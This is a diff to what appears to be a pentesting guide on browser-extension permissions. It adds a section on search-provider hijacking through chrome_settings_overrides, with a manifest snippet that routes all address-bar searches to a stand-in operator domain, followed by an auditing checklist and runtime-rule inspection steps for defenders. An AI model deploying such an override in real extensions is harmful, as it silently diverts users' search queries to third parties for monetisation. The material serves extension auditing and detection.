SearchJack 23 Chrome Extensions Silently Monetize ~758,000 U...

src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md

@@ -110,6 +110,45 @@ The extension storage is merely a key-value collection, very similar to [localSt
 
 However, advertising companies could also abuse this storage.
 
+### Search provider hijacking with `chrome_settings_overrides`
+
+A **low-permission** extension can still **take over omnibox searches** via **`chrome_settings_overrides.search_provider`**. Chrome allows an extension to define a custom search endpoint containing **`{searchTerms}`**, so a manifest-only extension can silently route every address-bar search through operator-controlled infrastructure:
+
+```json
+"chrome_settings_overrides": {
+  "search_provider": {
+    "name": "Search",
+    "keyword": "search.example",
+    "search_url": "https://search.example/search?q={searchTerms}",
+    "is_default": true
+  }
+}
+```
+
+This is useful for **search affiliate hijacking** because the extension might need **no content scripts**, **no background logic**, and **no extra API permissions** while still gaining access to a very sensitive data stream: user search intent.
+
+### Auditing search-override abuse
+
+When reviewing a browser extension, check whether the advertised feature matches the search override:
+
+- Search for **`chrome_settings_overrides`**, **`search_provider`**, **`search_url`**, and **`is_default`** in `manifest.json`.
+- Flag **manifest-only shells** whose main behavior is changing the default search provider.
+- Compare the **extension branding** with the **search endpoint domain**. Utility/new-tab/map/video extensions pointing searches to unrelated domains are suspicious.
+- Inspect whether the redirect chain lands in **affiliate search networks**. Parameters such as **`hspart`** and **`hsimp`** are useful to attribute the broker/campaign behind Yahoo Hosted Search style monetization.
+- Cluster disposable extensions by repeated backend templates such as identical query parameters, shared paths like **`/admin/public/link`** or **`serp.php`**, and reused search domains.
+- Compare **store claims** and **privacy policies**. False claims such as “we do not track searches” are strong indicators when the extension clearly proxies queries.
+
+### Runtime redirect rules can hide the real routing
+
+Static package review may still miss the real search flow. An extension can ship benign-looking static rules and then install the real redirect logic at runtime via **`chrome.declarativeNetRequest.updateDynamicRules()`**.
+
+Practical checks:
+
+- Inspect the **service worker/background script** for `updateDynamicRules()`.
+- In an instrumented browser, dump live rules with **`chrome.declarativeNetRequest.getDynamicRules()`** from the extension context.
+- Capture **network traffic** while performing omnibox searches and follow the **full redirect chain** until the final search provider.
+- Treat decoy static files such as `redirect-rules.json` as insufficient evidence of benign behavior unless runtime rules and live traffic match.
+
 ### More permissions
 
 Manifest V3 split page access from API permissions: **`permissions`** still governs privileged APIs (cookies, tabs, history, scripting, etc.) while **`host_permissions`** controls which origins those APIs can touch. MV3 also made host permissions **runtime‑grantable**, so extensions can ship with none and pop a consent prompt later via `chrome.permissions.request()`—handy for legit least‑privilege flows, but also abused by malware to escalate after reputation is established.
@@ -156,6 +195,9 @@ However, tightening security measures often results in decreased flexibility and
 - [https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing](https://www.cobalt.io/blog/introduction-to-chrome-browser-extension-security-testing)
 - [https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/)
 - [https://developer.chrome.com/blog/resuming-the-transition-to-mv3/](https://developer.chrome.com/blog/resuming-the-transition-to-mv3/)
+- [https://malext.io/reports/SearchJack/](https://malext.io/reports/SearchJack/)
+- [https://developer.chrome.com/docs/extensions/reference/manifest/chrome-settings-override](https://developer.chrome.com/docs/extensions/reference/manifest/chrome-settings-override)
+- [https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest](https://developer.chrome.com/docs/extensions/reference/api/declarativeNetRequest)
 
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